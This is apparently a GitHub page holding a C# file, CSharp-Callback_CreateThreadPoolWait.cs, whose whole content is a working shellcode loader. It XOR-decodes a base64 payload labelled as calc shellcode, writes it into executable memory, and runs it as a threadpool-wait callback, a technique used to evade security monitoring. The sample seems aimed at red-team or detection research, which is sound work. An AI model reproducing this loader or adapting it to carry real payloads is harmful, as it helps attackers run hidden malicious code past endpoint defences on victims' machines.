-
Notifications
You must be signed in to change notification settings - Fork 28
Expand file tree
/
Copy pathCSharp-Callback_CreateThreadPoolWait.cs
More file actions
67 lines (48 loc) · 2.6 KB
/
CSharp-Callback_CreateThreadPoolWait.cs
File metadata and controls
67 lines (48 loc) · 2.6 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
using System;
using System.Runtime.InteropServices;
namespace AltCallbacks
{
class Callback
{
const uint MEM_COMMIT = 0x00001000;
const uint PAGE_EXECUTE_READWRITE = 0x40;
[DllImport("kernelbase.dll")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, UInt32 flAllocationType, UInt32 flProtect);
[DllImport("kernel32.dll")]
private static extern IntPtr CreateEvent(IntPtr lpEventAttributes, bool bManualReset, bool bInitialState, string lpName);
[DllImport("kernel32.dll")]
private static extern IntPtr CreateThreadpoolWait(IntPtr pfnWaithandler, IntPtr pContext, IntPtr pcCallback);
[DllImport("kernel32.dll")]
private static extern void SetThreadpoolWait(IntPtr pwaithandle, IntPtr pft, uint dwWait);
[DllImport("kernel32.dll")]
private static extern void WaitForThreadpoolWaitCallbacks(IntPtr pwaithandle, bool bCancelPendingCallbacks);
[DllImport("kernel32.dll")]
private static extern bool SetEvent(IntPtr hEvent);
[DllImport("kernel32.dll")]
private static extern void Sleep(uint dwMilliseconds);
static string key = "THISISMYKEY";
static void Main(string[] args)
{
// Calc shellcode
string base64 = @"qADKt7m7jVlLRRgFCRkBGAUFaJkgEd8aKRvCAVURwBd5HMM7AwFc+hMBCGidAHiT5W8sJUlpeRWJgF4IUoy7phcYBQDCAWnYD2UDRInfyMFTSVMF3IsxPhxJmQPCG1UdwAV5HUmZsB8bspAKzm3cAEiFBGKEEXqF9RWJgF4IUoxhqzCoGEsFd0EWdIg+nQEQwwl3AFKdPwrOVRwMwhNVGkyJCs5d3ABIgwgLDAEVHAMVEAgKCAkF2qdlGAa3qQsIChcRwFewA7e2rBQb91hLRVlUSElTAd7AWEpFWRXyeNgm1LKM8KVEfkII6e/G8MS0kBHXjGFvTy9H2bClLFHzDkA7PCdZEgTQjrecMCg/LncuPTxU";
byte[] decoded = Convert.FromBase64String(base64);
byte[] shellcode = new byte[decoded.Length];
for (int i = 0; i < decoded.Length; i++)
shellcode[i] = ((byte)(decoded[i] ^ key[(i % key.Length)]));
IntPtr p = VirtualAlloc(IntPtr.Zero, (uint)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Marshal.Copy(shellcode, 0, p, shellcode.Length);
IntPtr hEvent = CreateEvent(IntPtr.Zero, false, false, null);
if (hEvent == IntPtr.Zero)
System.Environment.Exit(0);
// Callback function
IntPtr wait = CreateThreadpoolWait(p, IntPtr.Zero, IntPtr.Zero);
SetThreadpoolWait(wait, hEvent, 0);
SetEvent(hEvent);
WaitForThreadpoolWaitCallbacks(wait, false);
SetEvent(hEvent);
// Arbitrary sleep
Sleep(10000);
return;
}
}
}